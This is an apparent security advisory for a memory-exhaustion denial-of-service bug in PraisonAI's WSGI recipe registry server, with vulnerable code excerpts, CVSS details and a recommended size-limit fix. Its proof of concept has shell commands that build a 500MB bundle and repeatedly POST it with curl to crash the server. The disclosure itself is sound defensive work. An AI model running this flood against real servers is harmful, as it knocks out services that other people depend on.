PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS

Description

Summary

The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.

Details

The vulnerable code path in src/praisonai/praisonai/recipe/server.py:

1. No size limit on body read (line 551-555):

content_length = int(environ.get("CONTENT_LENGTH", 0))
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""

The content_length is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.

2. Second in-memory copy via multipart parsing (line 169-172):

result = {"fields": {}, "files": {}}
boundary_bytes = f"--{boundary}".encode()
parts = body.split(boundary_bytes)

The _parse_multipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.

3. Third copy to temp file (line 420-421):

with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
    tmp.write(bundle_content)

The bundle content is then written to disk and persisted in the registry, also without size checks.

4. Authentication disabled by default (line 91-94):

def _check_auth(self, headers: Dict[str, str]) -> bool:
    if not self.token:
        return True  # No token configured = no auth

The self.token defaults to None unless PRAISONAI_REGISTRY_TOKEN is set or --token is passed on the CLI.

The entry point is praisonai registry serve (cli/features/registry.py:176), which calls run_server() binding to 127.0.0.1:7777 by default.

In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.

PoC

# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &

# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .

# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \
  -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'

# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
  curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \
    -F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killed

Impact

  • Memory exhaustion: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).
  • Disk exhaustion: Repeated uploads persist bundles to disk at ~/.praison/registry/ with no quota, potentially filling the filesystem.
  • No authentication barrier: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.
  • Availability impact: The registry server becomes unavailable, blocking recipe publish/download operations.

The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.

Recommended Fix

Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:

# In create_wsgi_app(), before reading the body:
MAX_REQUEST_SIZE = 10 * 1024 * 1024  # 10MB, matching serve.py

def application(environ, start_response):
    # ... existing code ...

    # Read body with size limit
    try:
        content_length = int(environ.get("CONTENT_LENGTH", 0))
    except (ValueError, TypeError):
        content_length = 0

    if content_length > MAX_REQUEST_SIZE:
        status = "413 Request Entity Too Large"
        response_headers = [("Content-Type", "application/json")]
        body = json.dumps({
            "error": {
                "code": "request_too_large",
                "message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes"
            }
        }).encode()
        start_response(status, response_headers)
        return [body]

    body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
    # ... rest of handler ...

Additionally, consider:
- Adding a --max-request-size CLI flag to praisonai registry serve
- Adding per-recipe disk quota enforcement in LocalRegistry.publish()

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-10 19:23:13 UTC
Updated
2026-04-24 17:07:37 UTC
GitHub reviewed
2026-04-10 19:23:13 UTC
NVD published
2026-04-09

EPSS Score

Score Percentile
0.05% 16.09%

CVSS Scores

Base score Version Severity Vector
6.2 3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:L)
They already need access on the box, or another person has to do something wrong; it’s not a remote drive-by.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-770 Allocation of Resources Without Limits or Throttling

Credits

  • offset (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip PraisonAI < 4.5.128 4.5.128

References

cvelogic Threat Intelligence